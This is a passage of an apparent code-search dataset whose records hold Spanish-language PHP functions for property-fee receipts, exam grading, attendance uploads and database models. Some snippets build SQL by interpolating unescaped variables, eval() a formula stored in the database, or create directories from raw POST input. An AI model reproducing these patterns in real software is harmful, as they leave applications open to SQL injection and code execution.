e.cliente\n\t\t\t\tJOIN dpto f ON a.aplicacion=f.depto\n\t\t\t\tJOIN (\n\t\t\t\t\tSELECT aa.id, aa.codigo, (SELECT bb.alicuota FROM edalicuota bb\n\t\t\t\t\tWHERE aa.id=bb.inmueble AND EXTRACT(YEAR_MONTH FROM bb.fecha)<=${dbanomes} ORDER BY bb.fecha DESC LIMIT 1 ) alicuota\n\t\t\t\t\tFROM edinmue aa) mm ON d.id = mm.id\n\t\t\t\tWHERE EXTRACT(YEAR_MONTH FROM a.causado)=${dbanomes}\n\t\t\tGROUP BY d.codigo ) aa\n\t\t\tHAVING alicuota >0\n\t\t\";\n\t\t$query = $this->db->query($mSQL);\n\t\tif ($query->num_rows() > 0){\n\t\t\tforeach( $query->result() as $row ) {\n\t\t\t\t$numero = $this->datasis->fprox_numero('nedrec');\n\t\t\t\t$fecha = date('Ymd');\n\t\t\t\t$inmueble = $this->db->escape($row->inmueble);\n\t\t\t\t$AREA = $row->area;\n\t\t\t\t$data = array();\n\t\t\t\t$data['numero'] = $numero;\n\t\t\t\t$data['fecha'] = $fecha;\n\t\t\t\t$data['vence'] = date('Ymd',mktime(0,0,0, date('m'), date('d')+5,date('Y') ));\n\t\t\t\t$data['cod_cli'] = $row->cod_cli;\n\t\t\t\t$data['inmueble'] = $row->inmueble;\n\t\t\t\t$data['total'] = $row->total;\n\t\t\t\t$data['alicuota'] = $row->alicuota;\n\t\t\t\t$data['cuota'] = $row->cuota;\n\t\t\t\t$data['status'] = 'P';\n\t\t\t\t$data['observa'] = 'Recibo';\n\t\t\t\t$data['usuario'] = $this->session->userdata('usuario');\n\t\t\t\t$data['estampa'] = date('Ymd');\n\t\t\t\t$data['hora'] = date('h:m:s');\n\t\t\t\t$data['anomes'] = $anomes;\n\t\t\t\t$this->db->insert('edrec',$data);\n\t\t\t\t$id = $this->db->insert_id();\n\t\t\t\t// Agrega el detalle\n\t\t\t\t$mSQL = \"\n\t\t\t\tSELECT '000001' numero, tipo, codigo, detalle, total, alicuota, cuota, curdate() fecha, '321' usuario, curdate() estampa, curtime() hora, 0 transac, 0 id, 0 id_edrc, grupo\n\t\t\t\tFROM (\n\t\t\t\t\tSELECT d.id, a.aplicacion tipo, d.codigo inmueble, b.codigo, b.descrip, sum(a.total) total, mm.alicuota, ROUND(mm.alicuota*sum(a.total)/100,2) cuota, e.cliente, e.nombre, a.detalle, f.descrip aplidesc, b.grupo\n\t\t\t\t\tFROM edgasto a\n\t\t\t\t\tJOIN mgas b ON a.partida = b.id\n\t\t\t\t\tJOIN edinmue d\n\t\t\t\t\tLEFT JOIN scli e ON IF(d.ocupante='' OR d.ocupante IS NULL, d.propietario,d.ocupante) = e.cliente\n\t\t\t\t\tJOIN dpto f ON a.aplicacion=f.depto\n\t\t\t\t\tJOIN (\n\t\t\t\t\t\tSELECT aa.id, aa.codigo, (SELECT bb.alicuota FROM edalicuota bb\n\t\t\t\t\t\tWHERE aa.id=bb.inmueble AND EXTRACT(YEAR_MONTH FROM bb.fecha)<=${anomes} ORDER BY bb.fecha DESC LIMIT 1 ) alicuota\n\t\t\t\t\t\tFROM edinmue aa) mm ON d.id = mm.id\n\t\t\t\t\tWHERE EXTRACT(YEAR_MONTH FROM a.causado)=${anomes} AND d.codigo = ${inmueble} AND (a.aplicacion='CO' OR a.aplicacion=d.aplicacion)\n\t\t\t\tGROUP BY a.aplicacion, d.codigo, a.partida ) aa\n\t\t\t\tHAVING codigo<>'COMADM'\n\t\t\t\tUNION ALL\n\t\t\t\tSELECT '000002' numero, c.departa tipo, c.codigo, c.descrip, \n\t\t\t\t(SELECT sum(monto) FROM edgasmed WHERE EXTRACT(YEAR_MONTH FROM edgasmed.fecha) = ${anomes} AND edgasmed.gasto=c.id) total, \n\t\t\t\ta.lectura alicuota, a.monto cuota, \n\t\t\t\tcurdate() fecha, '321' usuario, curdate() estampa, curtime() hora, 0 transac, 0 id, 0 id_edrc, 'XXXX' grupo\n\t\t\t\tFROM edgasmed a \n\t\t\t\tJOIN edinmue b ON a.inmueble = b.id\n\t\t\t\tJOIN gitser c ON a.gasto = c.id\n\t\t\t\tWHERE a.status = 'P' AND a.monto>0 AND b.codigo=${inmueble} AND EXTRACT(YEAR_MONTH FROM a.fecha) = ${anomes} \n\t\t\t\t\";\n\n\t\t\t\t// Reinicia Contadores\n\t\t\t\t$GRUPO = $GRUPORG;\n\t\t\t\t$monto = 0;\n\t\t\t\t$query1 = $this->db->query($mSQL);\n\t\t\t\tforeach( $query1->result() as $row1 ) {\n\t\t\t\t\t$data1 = array();\n\t\t\t\t\t$data1['numero'] = $numero;\n\t\t\t\t\t$data1['tipo'] = $row1->tipo;\n\t\t\t\t\t$data1['codigo'] = $row1->codigo;\n\t\t\t\t\t$data1['detalle'] = $row1->detalle;\n\t\t\t\t\t$data1['total'] = $row1->total;\n\t\t\t\t\t$data1['alicuota'] = $row1->alicuota;\n\t\t\t\t\tif ( $row1->tipo == 'CO' ){\n\t\t\t\t\t\t$data1['cuota'] = $row1->cuota;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ( $row1->numero == '000002'){\n\t\t\t\t\t\t\t$data1['cuota'] = $row1->cuota;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$data1['cuota'] = round($row1->total*($row1->alicuota/$malit[$row1->tipo]),2);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$data1['fecha'] = $row1->fecha;\n\t\t\t\t\t$data1['usuario'] = $this->session->userdata('usuario');\n\t\t\t\t\t$data1['estampa'] = date('Ymd');\n\t\t\t\t\t$data1['hora'] = date('h:m:s');\n\t\t\t\t\t$data1['id_edrc'] = $id;\n\t\t\t\t\t$this->db->insert('editrec',$data1);\n\t\t\t\t\t$monto = $monto + $data1['cuota'];\n\t\t\t\t\t$GRUPO[$row1->grupo] = $GRUPO[$row1->grupo]+$data1['cuota'];\n\t\t\t\t}\n\t\t\t\t$data1 = array();\n\t\t\t\t$data1['numero'] = $numero;\n\t\t\t\t$data1['tipo'] = 'Z1';\n\t\t\t\t$data1['codigo'] = 'COMADM';\n\t\t\t\t$data1['detalle'] = 'COMISION POR SERVICIOS ADMINISTRATIVOS';\n\t\t\t\t$data1['total'] = $monto;\n\t\t\t\t$data1['alicuota'] = 0;\n\t\t\t\t$data1['cuota'] = round($monto*$tasa/100,2);\n\t\t\t\t$data1['fecha'] = $fecha;\n\t\t\t\t$data1['usuario'] = $this->session->userdata('usuario');\n\t\t\t\t$data1['estampa'] = date('Ymd');\n\t\t\t\t$data1['hora'] = date('h:m:s');\n\t\t\t\t$data1['id_edrc'] = $id;\n\t\t\t\t$this->db->insert('editrec',$data1);\n\t\t\t\t$monto = $monto + $data1['cuota'];\n\n\t\t\t\t// Agrega los Fondos\n\t\t\t\t$mSQL = \"SELECT codbanc, banco, formula, depto, id FROM banc WHERE tbanco = 'FO' AND activo='S' \";\n\t\t\t\t$query1 = $this->db->query($mSQL);\n\t\t\t\t$UT = $this->datasis->utri($anomes.'01');\n\t\t\t\tforeach( $query1->result() as $row2 ) {\n\t\t\t\t\tmemowrite('$cuota='.$row2->formula.' GR='.$GRUPO['0000'], $row2->codbanc );\n\t\t\t\t\tif ( $row2->depto != 'CO' ){\n\t\t\t\t\t\tif ($row->depto != $row2->depto ) continue;\n\t\t\t\t\t}\n\t\t\t\t\teval('$cuota='.$row2->formula.';');\n\t\t\t\t\tif ( $cuota <> 0 ){\n\t\t\t\t\t\t$data1 = array();\n\t\t\t\t\t\t$data1['numero'] = $numero;\n\t\t\t\t\t\t$data1['tipo'] = 'FO';\n\t\t\t\t\t\t$data1['codigo'] = $row2->codbanc;\n\t\t\t\t\t\t$data1['detalle'] = $row2->banco;\n\t\t\t\t\t\t$data1['total'] = $monto;\n\t\t\t\t\t\t$data1['alicuota'] = 0;\n\t\t\t\t\t\t$data1['cuota'] = round($cuota,2);\n\t\t\t\t\t\t$data1['fecha'] = $fecha;\n\t\t\t\t\t\t$data1['usuario'] = $this->session->userdata('usuario');\n\t\t\t\t\t\t$data1['estampa'] = date('Ymd');\n\t\t\t\t\t\t$data1['hora'] = date('h:m:s');\n\t\t\t\t\t\t$data1['id_edrc'] = $id;\n\t\t\t\t\t\t$this->db->insert('editrec',$data1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$mSQL = 'UPDATE edrec a SET a.cuota = (SELECT SUM(b.cuota) FROM editrec b WHERE a.numero = b.numero)';\n\t\t\t$this->db->query($mSQL);\n\n\t\t\techo \"Si se Guardaron\";\n\t\t}\n\t}", "title": "" }, { "docid": "daa2e4d9c99e184a71e977566c54cc13", "score": "0.5065101", "text": "public function newinfoacademicaAction()\n {\n $entity = new Colegio();\n $form = $this->createForm(new ColegioType(), $entity);\n $grados= $this->getDoctrine()->getRepository(\"NetpublicCoreBundle:Grado\")->findAll();\n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n \"grados\"=>$grados\n );\n }", "title": "" }, { "docid": "877cd4e56d7ac37cff282cf624ce4bc9", "score": "0.50632066", "text": "public function actionEstadisticasg(){\n $arrayOF=OrigenFrecuente::find()->limit('5')->asArray()->all();\n $graficaOF= new ArrayDiv();\n $graficaOF->dividirArray($arrayOF);\n //grafica del destino frecuente\n $arrayDF= DestinoFrecuente::find()->limit('5')->asArray()->all();\n $graficaDF= new ArrayDiv();\n $graficaDF->dividirArray($arrayDF);\n //grafica del destino frecuente\n $arrayCF= ConsultaFrecuente::find()->limit('5')->asArray()->all();\n $graficaCF= new ArrayDiv();\n $graficaCF->dividirArray($arrayCF);\n //grafica del lugar frecuente\n $arrayLF= LugarFrecuente::find()->limit('5')->asArray()->all();\n $graficaLF= new ArrayDiv();\n $graficaLF->dividirArray($arrayLF);\n \n return $this->render('estadisticasg',['graficaOF'=>$graficaOF,'graficaDF'=>$graficaDF,'graficaCF'=>$graficaCF,'graficaLF'=>$graficaLF]);\n }", "title": "" }, { "docid": "e0982ca64454cb637358503ac4101288", "score": "0.5062567", "text": "public function vistacalificarestudiante($id, $est) {\n $acti = Actividad::find($id);\n $acti->seccion->grupoav->periodoacademico;\n $acti->seccion->grupoav->asignatura;\n $ex = $acti->examen;\n $preguntas = $ex->preguntaexamens;\n if (count($preguntas) > 0) {\n $resex = Resultadoexamen::where([['estudiante_id', $est], ['examen_id', $acti->examen->id]])->first();\n if ($resex === null) {\n //el estudiante no realizó el exámen se le califica todo en cero.\n $totalPts = 0;\n foreach ($preguntas as $pr) {\n $totalPts = $totalPts + $pr->pregunta->puntos;\n }\n $resex = new Resultadoexamen();\n $resex->intentos = 0;\n $resex->estado = \"CALIFICADO\";\n $resex->calificacion = 0;\n $resex->puntostotal = $totalPts;\n $resex->puntosalcanzados = 0;\n $resex->estudiante_id = $est;\n $resex->examen_id = $ex->id;\n if ($resex->save()) {\n foreach ($preguntas as $pr2) {\n $r = new Resultadoexamenrespuesta();\n $r->respuesta = \"\";\n $r->estado = \"CALIFICADA\";\n $r->ok = 0;\n $r->respuesta_id = null;\n $r->pregunta_id = $pr2->pregunta_id;\n $r->resultadoexamen_id = $resex->id;\n $r->save();\n }\n } else {\n flash(\"El estudiante no realizó el exámen y no se le pudo establecer una calificación en 0 ('cero'), debe repetir el proceso.\")->error();\n return redirect()->route('panel.docente', [$acti->seccion->grupoav->asignatura_codigomateria, $acti->seccion->grupoav->id, $acti->seccion->grupoav->periodoacademico_id]);\n }\n }\n //se continua llenando los datos para calificar: el resultado y las preguntas\n $resex->resultadoexamenrespuestas;\n $e = Estudiante::find($est);\n $estu = $numero = \"\";\n if ($e !== null) {\n $pn = $e->personanatural;\n $estu = $pn->primer_nombre . \" \" . $pn->segundo_nombre . \" \" . $pn->primer_apellido . \" \" . $pn->segundo_apellido;\n $numero = $pn->persona->numero_documento;\n }\n $ok = [\n '0' => 'NO',\n '1' => 'SI'\n ];\n if (count($resex->resultadoexamenrespuestas) > 0) {\n foreach ($resex->resultadoexamenrespuestas as $p) {\n $p->rta = \"NO\";\n $p->rtaCrta = \"NO\";\n if ($p->respuesta_id !== null) {\n $p->rta = Respuesta::find($p->respuesta_id);\n }\n if ($p->pregunta->tipo == \"CUANTITATIVA\") {\n $p->rtaCrta = Respuesta::find($p->pregunta->respuesta_id);\n }\n }\n }\n return view('aula_virtual.panel_docente.calificarestudiante')\n ->with('location', 'menu-aulavirtual-doc')\n ->with('acti', $acti)\n ->with('ex', $ex)\n ->with('numero', $numero)\n ->with('resex', $resex)\n ->with('estu', $estu)\n ->with('ok', $ok);\n } else {\n flash(\"El exámen no tiene preguntas asociadas\")->error();\n return redirect()->route('panel.docente', [$acti->seccion->grupoav->asignatura_codigomateria, $acti->seccion->grupoav->id, $acti->seccion->grupoav->periodoacademico_id]);\n }\n }", "title": "" }, { "docid": "dc818bbd9999804f7dc129f6bb54cd30", "score": "0.5061594", "text": "private function conteoIluminacion($matriz_optimizada, $estructura){\n $resultado = $estructura;\n\n foreach($resultado as $coords => $alcance){\n $coordenada = explode('-', $coords);\n\n #mapero arriba\n for($w = ($coordenada[0] - 1); $w < $coordenada[0]; $w--){\n if(isset($matriz_optimizada[$w][$coordenada[1]])){\n if($matriz_optimizada[$w][$coordenada[1]] == 0){\n $resultado[$coords][] = $w . '-' . $coordenada[1];\n }\n else{\n $w = count($matriz_optimizada);\n }\n }\n else{\n $w = count($matriz_optimizada);\n }\n }\n\n #mapero derecha\n for($x = ($coordenada[1] + 1); $x > $coordenada[1]; $x++){\n if(isset($matriz_optimizada[$coordenada[0]][$x])){\n if($matriz_optimizada[$coordenada[0]][$x] == 0){\n $resultado[$coords][] = $coordenada[0] . '-' . $x;\n }\n else{\n $x = - count($matriz_optimizada);\n }\n }\n else{\n $x = - count($matriz_optimizada);\n }\n }\n\n #mapero abajo\n for($y = ($coordenada[0] + 1); $y > $coordenada[0]; $y++){\n if(isset($matriz_optimizada[$y][$coordenada[1]])){\n if($matriz_optimizada[$y][$coordenada[1]] == 0){\n $resultado[$coords][] = $y . '-' . $coordenada[1];\n }\n else{\n $y = - count($matriz_optimizada);\n }\n }\n else{\n $y = - count($matriz_optimizada);\n }\n }\n\n #mapero izquierda\n for($z = ($coordenada[1] - 1); $z < $coordenada[1]; $z--){\n if(isset($matriz_optimizada[$coordenada[0]][$z])){\n if($matriz_optimizada[$coordenada[0]][$z] == 0){\n $resultado[$coords][] = $coordenada[0] . '-' . $z;\n }\n else{\n $z = count($matriz_optimizada);\n }\n }\n else{\n $z = count($matriz_optimizada);\n }\n }\n\n } \n\n return $resultado;\n }", "title": "" }, { "docid": "fb021c77cee6ea5e9a9e4caad42a496e", "score": "0.5057769", "text": "public static function AddNewCartriges(){ // добавление нового картриджа\n \n \n }", "title": "" }, { "docid": "ad5315066158a854f0322148657c6e56", "score": "0.5056214", "text": "public function agregarMaterialActividad()\n\t{\n\t\t$sql = \"INSERT INTO material_has_actividad(Actividad_idActividad, Material_idMaterial, cantMaterial, tipo) VALUES ('{$this->idActividad}', '{$this->idMaterial}', '{$this->cantMaterial}', '{$this->tipo}')\";\n\n\t\t$resultado = $this->conexion->Consulta($sql);\n\t\t$this->conexion->Cerrarconex();\n\t}", "title": "" }, { "docid": "c4dfcaac06cf88785e66befc42d8ff82", "score": "0.50545615", "text": "static public function ctrCrearAsistencia(){\n\n\t\tif(isset($_POST[\"codigoEstudiante\"])){\n\n\t\t\t\n\n\t\t\t \t/*=============================================\n\t\t\t\tVALIDAR IMAGEN\n\t\t\t\t=============================================*/\n\n\t\t\t\t$ruta = \"\";\n\n\n\t\t\t\tif(isset($_FILES[\"fotoEstudiante\"][\"tmp_name\"])){\n\n\n\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"fotoEstudiante\"][\"tmp_name\"]);\n\n\t\t\t\t\t$nuevoAncho = 500;\n\t\t\t\t\t$nuevoAlto = 500;\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tCREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR LA FOTO DEL USUARIO\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t$directorio = \"vistas/img/asistencias/\".$_POST[\"codigoEstudiante\"];\n\n\t\t\t\t\tmkdir($directorio, 0755);\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tDE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\tif($_FILES[\"fotoEstudiante\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/asistencias/\".$_POST[\"codigoEstudiante\"].\"/\".$aleatorio.\".jpg\";\n\n\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"fotoEstudiante\"][\"tmp_name\"]);\t\t\t\t\t\t\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagejpeg($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t\tif($_FILES[\"fotoEstudiante\"][\"type\"] == \"image/png\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/asistencias/\".$_POST[\"codigoEstudiante\"].\"/\".$aleatorio.\".png\";\n\n\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"fotoEstudiante\"][\"tmp_name\"]);\t\t\t\t\t\t\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagepng($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t\n\n\t\t\t\t$tabla = \"asistencias\";\n\n\n\t\t\t\t$datos = array(\"codigoEstudiante\" => $_POST[\"codigoEstudiante\"],\n\t\t\t\t\n\t\t\t\t\t \"foto\"=>$ruta);\n\n\t\t\t\t$respuesta = ModeloAsistencia::mdlIngresarAsistencia($tabla, $datos);\n\t\t\t\n\t\t\t\tif($respuesta == \"ok\"){\n\t\t\t\t\tvar_dump(\"ok good!\");\n\n\t\t\t\t\t/*echo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"success\",\n\t\t\t\t\t\ttitle: \"¡El ha sido guardado correctamente!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\t\t\t\t\t\t\n\t\t\t\t\t\t\twindow.location = \"usuarios\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\t\t\t\t\n\n\t\t\t\t\t</script>';\n*/\n\n\t\t\t\t}\t\n\n\n\t\t\t\n\n\n\t\t}\n\n\n\t}", "title": "" }, { "docid": "af58d8610ab1565a323aa525fb62c815", "score": "0.5051236", "text": "function __construct(){\r\n\t\t$this->nombre = '';\r\n\t\t$this->material = '';\r\n\t\t$this->descripcion = '';\r\n\t\t$this->ancho = 15;\r\n\t\t$this->alto = 27.50;\r\n\t\t$this->cantidad = 1000;\r\n\t\t$this->colores = 1;\r\n\t\t$this->cambios = 1;\r\n\t\t$this->cliches = 1;\r\n\t\t$this->acabado = 2;\r\n\t\t$this->imagen = '';\r\n\t\t\r\n\t\t// Variables de Artículo //\r\n\t\t$this->categoria = '1';\r\n\t\t$this->grupo = '';\r\n\t\t$this->formatoprecio = 1;\r\n\t\t$this->oferta = 0;\r\n\t\t$this->coste = 0;\r\n\t\t$this->visible = 0;\r\n\t\t$this->stock = 0;\r\n\t\t\r\n\t}", "title": "" }, { "docid": "389897077e555967fca1aa1c74a65fba", "score": "0.5044929", "text": "public function __construct(){\n $this->obtenerRegistros = $this->modelo(\"Registro_M\"); \n }", "title": "" }, { "docid": "11c742e34854c99fe43e6488a2fbe125", "score": "0.5044865", "text": "public function cruceMateri($materi_id,$semana_id,$dia_id,$hora_id,$grupo_id,$cat_id){\n\t\t$sql_materi=\"SELECT PROGRA_ID, MATERI_PLANEST, MATERI_SEMESTRE \n\t\t\t\t\tFROM materia \n\t\t\t\t\tWHERE MATERI_ID='$materi_id'\";\n \t\t\n \t\t$result_materias= ejecutarConsulta($sql_materi);\n \t\t\n foreach ($result_materias as $res) {\n $progra_id= $res['PROGRA_ID'];\n \t\t$materi_planes= $res['MATERI_PLANEST'];\n \t\t$materi_semest= $res['MATERI_SEMESTRE'];\n }\n\n\t\t$sql=\"SELECT ASIGNA_ID,CAT_ID, ASIGNA_GRUPO, ASIGNA_SEMANA, DIA_ID, HORA_ID\n\t\t\tFROM asignacion\n\t\t\tWHERE asignacion.MATERI_ID IN (\n\t\t\tSELECT materia.MATERI_ID\n\t\t\tFROM materia\n\t\t\tWHERE materia.PROGRA_ID='$progra_id' AND materia.MATERI_PLANEST='$materi_planes' \n\t\t\tAND materia.MATERI_SEMESTRE='$materi_semest') AND CAT_ID='$cat_id' AND ASIGNA_GRUPO='$grupo_id' \n\t\t\tAND ASIGNA_SEMANA='$semana_id' AND DIA_ID='$dia_id' AND HORA_ID='$hora_id'\";\n\t\t\t\n\t\treturn ejecutarConsulta($sql);\n\t}", "title": "" }, { "docid": "35d7312e27dfd0901d9e4c5e5804c9b3", "score": "0.50446373", "text": "public function alta_marca()\n\t{\n\t\tif($this->simple_sessions->get_value('status'))\n\t\t{\n\t\t\t//obtengo el nombre de todos los tipos de dispositivo o de materiales de mi BD y los almaceno en un array\n\t\t\t$elemento = $this->Elemento->obtener_nombre_elementos();\n\t\t\t//paso el array a mi vista para mostrar los resultados\n\t\t\t$this->smarty->assign(\"elementos\",$elemento);\n\n\t\t\t$this->smarty->view('marca/alta_marca');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->smarty->assign('error','Debe iniciar sesion para acceder al sistema.');\n\t\t\t$this->smarty->view('start/start_view');\n\t\t}\n\t}", "title": "" }, { "docid": "e6ef1e64d61df8b8758fdc18868e3007", "score": "0.5036978", "text": "public function Visualizza(){\n $VClassifica=USingleton::getInstance('VClassifica');\n $FClassifica=USingleton::getInstance('FClassifica'); \n $Fdb=USingleton::getInstance('Fdb');\n $classifica=$FClassifica->getClassifica();\n $classifica1=array();\n foreach($classifica as $key => $class)\n array_push($classifica1, $class);\n $VClassifica->impostaDati('arr',$classifica1);\n $vincitore=$classifica1[0]['nome_squadra'];\n $VClassifica->impostaDati('vincitore',$vincitore);\n return $VClassifica->processaClassifica();\n }", "title": "" }, { "docid": "ca3d726f8ec4dfc23fb594164f85acc1", "score": "0.5031956", "text": "public function carregarDadosEquipamentoCalibracao(){\n\n // Verifica o login\n $this->check_login();\n\n // Verifica as permissoes necessarias\n if ($_SESSION['userdata']['per_pe'] != 1 )\n {\n // Se nao possuir\n // Redireciona para index\n $this->moveHome();\n }else{\n\n //DEFINE O TITULO DA PAGINA\n $this->title = \"equipamento\";\n\n // Carrega o modelo para este view\n $modelo = $this->load_model('equipamento/equipamento-model');\n\n // Carrega view\n require_once EFIPATH . \"/views/_includes/header.php\";\n require_once EFIPATH . \"/views/_includes/menu.php\";\n require_once EFIPATH . \"/views/equipamento/equipamentoCalibracao-view.php\";\n require_once EFIPATH . \"/views/_includes/footer.php\";\n\n }\n\n }", "title": "" }, { "docid": "cea35fcd76887db3928992b60341e3df", "score": "0.50308335", "text": "public function limpiarCambios()\n\t{\n\t\tforeach ($this->_infoConfig as $seccion => $infoSeccion) {\n\t\t\tforeach ($infoSeccion as $clave => $infoValor) {\n\t\t\t\t$sClave = \"{$seccion}_{$clave}\";\n\t\t\t\t$this->_infoConfig[$seccion][$clave]['valor_viejo'] = $infoValor['valor_actual'];\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "4f21307d9bffd219280eef2d654293cc", "score": "0.5025133", "text": "public function crear() {\n $atributos = $this->sanitizarAtributos();\n\n // Insertar en base de datos\n $query = \" INSERT INTO bienes_raices.\" . static::$tabla . \" ( \";\n $query .= join(', ', array_keys($atributos));\n $query .= \" ) VALUES ('\";\n $query .= join(\"', '\", array_values($atributos));\n $query .= \"')\";\n \n $resultado = self::$db->query($query);\n\n $this->volverIndex($resultado, '1');\n }", "title": "" }, { "docid": "46f9a2e297a8cd90a26d7ae3a2dade3f", "score": "0.5025055", "text": "public function materiaperiodoModificartodosAction() {\n\n $em = $this->getDoctrine()->getEntityManager();\n $request = $this->getRequest();\n $periodo = $em->getRepository('administrativoBundle:Periodo')->getPeriodoActual();\n if (!$periodo) {\n $this->get('session')->getFlashBag()->add('Info', 'Periodo académico no activo'\n );\n return $this->redirect($this->generateUrl('admin_portada'));\n }\n $materiasperiodo = $em->getRepository('administrativoBundle:Periodo')->getMateriasSubperiodo($periodo->getId());\n\n //obtiene la materia actual\n //secciones\n $paginatorSS = $this->get('knp_paginator');\n $paginationSS = $paginatorSS->paginate(\n $materiasperiodo, $this->getRequest()->query->get('page', 1), 10\n );\n\n $sd = 0;\n\n if ($materiasperiodo) {\n $sd = 1;\n }\n $auxmateriaperiodo = new AuxMateriaPeriodo();\n\n foreach ($materiasperiodo as $mat) {\n $cr = new MateriaPeriodo; //creo un objeto nuevo: asistencia\n $cr->setId($mat->getId());\n $cr->setMateria($mat->getMateria());\n $cr->setSubperiodo($mat->getSubperiodo());\n\n //lleno el objto auxmateriaperiodo con varios objetos materiaperiodo\n $auxmateriaperiodo->getMatPerAux()->add($cr);\n }\n\n $form = $this->createForm(new AuxMateriaPeriodoType(), $auxmateriaperiodo);\n\n $form->handleRequest($request);\n\n if ($form->isValid()) {\n $em->getConnection()->beginTransaction(); // suspend auto-commit\n try {\n\n foreach ($auxmateriaperiodo->getMatPerAux() as $item) {\n $cod = $item->getId();\n $mat = $item->getMateria();\n $subp = $item->getSubperiodo();\n $mp = $em->getRepository('academicoBundle:MateriaPeriodo')->find($cod);\n $mp->setMateria($mat);\n $mp->setSubperiodo($subp);\n $em->flush();\n }\n $em->getConnection()->commit();\n } catch (Exception $e) {\n $em->getConnection()->rollback();\n $this->get('session')->getFlashBag()->add('Info', 'Transacción no se hizo verifique la red o los valores que esta ingresando');\n $url = explode(\"?\", $_SERVER['HTTP_REFERER']);\n $redir = $url[0];\n\n return $this->redirect($redir);\n }\n\n $this->get('session')->getFlashBag()->add('Info', 'Materias de subperiodos han sido actualizadas');\n\n return $this->redirect($this->generateUrl('admin_materiaperiodo_listar_todos'));\n }\n\n return $this->render('administrativoBundle:default:listamateriasperiodomodificar.html.twig', array(\n 'periodo' => $periodo,\n 'materias' => $paginationSS,\n 'formmaterias' => $form->createView(),\n 'sd' => $sd,\n ));\n }", "title": "" }, { "docid": "e12d487e01f0c34a0b6745b4dd65ef74", "score": "0.5019998", "text": "public function cambiarFeriado();", "title": "" }, { "docid": "3309f083ea89306edcf00924f90b1ac0", "score": "0.5019397", "text": "public function run()\n {\n DB::table('materiales')->insert([\n [\n \"name\"=>\"material\",\n \"value\"=>\"madera\",\n \"title\"=>\"150\",\n \"text\"=>\"Madera\",\n \"src\"=>\"source/madera.jpg\",\n ],\n [\n \"name\"=>\"material\",\n \"value\"=>\"chapa\",\n \"title\"=>\"100\",\n \"text\"=>\"Chapa\",\n \"src\"=>\"source/chapa.jpg\",\n ],\n [\n \"name\"=>\"material\",\n \"value\"=>\"fibra\",\n \"title\"=>\"200\",\n \"text\"=>\"Fibra de vidrio\",\n \"src\"=>\"source/fibra.jpg\",\n ],\n [\n \"name\"=>\"material\",\n \"value\"=>\"plastico\",\n \"title\"=>\"50\",\n \"text\"=>\"Plastico\",\n \"src\"=>\"source/plastico.jpg\",\n ],\n\n ]);\n }", "title": "" }, { "docid": "31f77ded3adbd49034b698dd415bc132", "score": "0.50132865", "text": "function vista_editar_promocion($objeto){\n\t// Si el objeto viene vacio(llamado desde el index) se le asigna el $_REQUEST que manda el Index\n\t// Si no conserva su valor normal\n \t\t$objeto = (empty($objeto)) ? $_REQUEST : $objeto;\n\t\t$panel = $objeto['panel'];\n\n\t// Consulta las promociones\n\t\t$promociones = $this -> configuracionModel -> listar_pomociones($objeto);\n\t\t$promociones = $promociones['rows' ];\n\t// Lista sucursales\n\t\t$sucursales = $this -> configuracionModel -> listar_sucursales();\n\t\t$sucursales = $sucursales['rows'];\n\n\t\tforeach ($promociones as $key => $value) {\t\n\t\t\t$promociones[$key]['sucursales'] = '';\n\t\t\t$su = '';\t\n\t\t\t$suc = explode(',', $value['idsuc']);\n\t\t\t\n\t\t\tif (count($suc) > 0) {\t\t\t \n\t\t\t foreach ($suc as $k => $v) {\n\t\t\t \tforeach ($sucursales as $k1 => $v1) {\n\t\t\t \t\tif($v == $v1['idSuc']){\n\t\t\t \t\t\t$su .= $v1['nombre'].', ';\t\t\t \t\t\t\n\t\t\t \t\t}\n\t\t\t \t}\n\t\t\t \t\n\t\t\t }\t\t\t \n\t\t\t $promociones[$key]['sucursales'] = trim($su,',');\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t\tforeach ($promociones as $key => $value) {\n\t\t\t$value['productos'] = $this -> configuracionModel -> 